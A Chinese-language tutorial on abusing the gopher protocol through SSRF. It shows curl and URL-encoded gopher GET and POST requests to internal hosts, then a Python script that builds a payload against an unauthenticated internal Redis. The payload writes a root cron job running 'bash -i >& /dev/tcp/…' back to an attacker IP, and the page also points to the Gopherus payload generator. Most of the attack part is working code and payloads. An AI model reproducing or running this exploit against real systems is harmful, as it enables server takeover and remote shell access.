跳到主要内容

gopher协议

gopher协议

概述

gopher协议是一个古老且强大的协议,在http协议未出现时主要使用该协议发送各种请求,gophar可以实现多个数据包整合发送

利用gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST请求。很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求

gopher的协议格式如下:

gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port> # 默认为70
# 发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

gopher协议在各个语言中的限制

image-20221017171951443

利用curl发送gopher协议的请求

curl gopher://192.168.172.1/_safe666

gopher发送GET请求包

GET /test.php?name=ICQsafe666 HTTP/1.1
Host: 192.168.172.1

url编码

%47%45%54%20%2f%74%65%73%74%2e%70%68%70%3f%6e%61%6d%65%3d%49%43%51%73%61%66%6
5%36%36%36%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%
36%38%2e%31%37%32%2e%31

组合gopher协议构造请求包,在末尾加上%0d%0a

gopher://192.168.172.1:80/_%47%45%54%20%2f%74%65%73%74%2e%70%68%70%3f%6e%61%6
d%65%3d%49%43%51%73%61%66%65%36%36%36%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%
73%74%3a%20%31%39%32%2e%31%36%38%2e%31%37%32%2e%31%0d%0a

gopher发送POST请求包

POST /test.php HTTP/1.1
Host: 192.168.172.1
Connection: close
Content-Length: 15

name=ICQsafe666

同样的方法利用burpsuite将所有字符进行编码

%50%4f%53%54%20%2f%74%65%73%74%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%4
8%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%37%32%2e%31%0d%0a%43%6f%6e%6e%65%
63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67
%74%68%3a%20%31%35%0d%0a%0d%0a%6e%61%6d%65%3d%49%43%51%73%61%66%65%36%36%36

加上gopher协议标准字段以及结尾%0d%0a

gopher://192.168.172.1:80/_%50%4f%53%54%20%2f%74%65%73%74%2e%70%68%70%20%48%5
4%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%37%32%
2e%31%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e
%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%35%0d%0a%0d%0a%6e%61%6d%65%3d%49%4
3%51%73%61%66%65%36%36%36%0d%0a

组合SSRF的gopher协议利用

利用脚本生成payload(这里为攻击内网未授权redis)

import urllib
protocol="gopher://"
ip="172.16.12.50"
port="6379"
reverse_ip="172.16.12.187"
reverse_port="9999"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

或者利用github中的一个项目生成payload

https://github.com/tarunkant/Gopherus

git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
chmod +x install.sh
sudo ./install.sh

根据目标机所存在的未授权服务生成payload

image-20221017173530869

利用redis服务的实际过程中碰巧碰到了一个乱码问题,只需在payload里的-i前加上%20即可